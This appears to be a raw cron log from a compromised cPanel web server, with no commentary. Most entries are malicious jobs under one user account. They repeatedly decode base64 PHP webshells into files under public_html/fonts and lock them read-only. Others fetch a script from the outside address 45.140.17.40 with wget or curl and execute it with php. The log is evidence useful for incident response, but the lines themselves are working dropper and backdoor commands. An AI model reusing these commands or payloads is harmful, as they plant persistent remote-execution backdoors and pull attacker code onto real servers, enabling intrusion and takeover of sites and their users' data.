Feb 22 21:08:01 ip-184-168-122-23 CROND[29054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:08:01 ip-184-168-122-23 CROND[29055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:09:01 ip-184-168-122-23 CROND[29405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:09:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:09:01 ip-184-168-122-23 CROND[29409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:09:01 ip-184-168-122-23 CROND[29410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:09:01 ip-184-168-122-23 CROND[29411]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:10:01 ip-184-168-122-23 CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:10:01 ip-184-168-122-23 CROND[29852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:10:01 ip-184-168-122-23 CROND[29856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:11:01 ip-184-168-122-23 CROND[30226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:11:01 ip-184-168-122-23 CROND[30229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:11:01 ip-184-168-122-23 CROND[30228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:11:01 ip-184-168-122-23 CROND[30230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:12:01 ip-184-168-122-23 CROND[30564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:12:01 ip-184-168-122-23 CROND[30566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:12:01 ip-184-168-122-23 CROND[30569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:12:01 ip-184-168-122-23 CROND[30568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:12:01 ip-184-168-122-23 CROND[30570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:13:02 ip-184-168-122-23 CROND[30898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:13:02 ip-184-168-122-23 CROND[30899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:13:02 ip-184-168-122-23 CROND[30901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:13:02 ip-184-168-122-23 CROND[30902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:14:01 ip-184-168-122-23 CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:14:01 ip-184-168-122-23 CROND[31236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:14:01 ip-184-168-122-23 CROND[31237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:14:01 ip-184-168-122-23 CROND[31238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:14:01 ip-184-168-122-23 CROND[31239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:15:01 ip-184-168-122-23 CROND[31557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:15:01 ip-184-168-122-23 CROND[31561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:15:01 ip-184-168-122-23 CROND[31560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:15:01 ip-184-168-122-23 CROND[31559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:15:01 ip-184-168-122-23 CROND[31562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:15:01 ip-184-168-122-23 CROND[31564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:16:01 ip-184-168-122-23 CROND[31982]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 21:16:01 ip-184-168-122-23 CROND[31986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:16:01 ip-184-168-122-23 CROND[31985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:16:01 ip-184-168-122-23 CROND[31987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:16:01 ip-184-168-122-23 CROND[31989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:16:01 ip-184-168-122-23 CROND[31988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:17:01 ip-184-168-122-23 CROND[32312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:17:01 ip-184-168-122-23 CROND[32314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:17:01 ip-184-168-122-23 CROND[32315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:17:01 ip-184-168-122-23 CROND[32316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:18:01 ip-184-168-122-23 CROND[32632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:18:01 ip-184-168-122-23 CROND[32635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:18:01 ip-184-168-122-23 CROND[32636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:18:01 ip-184-168-122-23 CROND[32637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:18:01 ip-184-168-122-23 CROND[32634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:19:01 ip-184-168-122-23 CROND[522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:19:01 ip-184-168-122-23 CROND[525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:19:01 ip-184-168-122-23 CROND[524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:19:01 ip-184-168-122-23 CROND[529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:20:01 ip-184-168-122-23 CROND[864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:20:01 ip-184-168-122-23 CROND[865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:20:01 ip-184-168-122-23 CROND[867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:20:01 ip-184-168-122-23 CROND[870]: (root) CMD (/usr/lib64/sa/sa1 1 1)
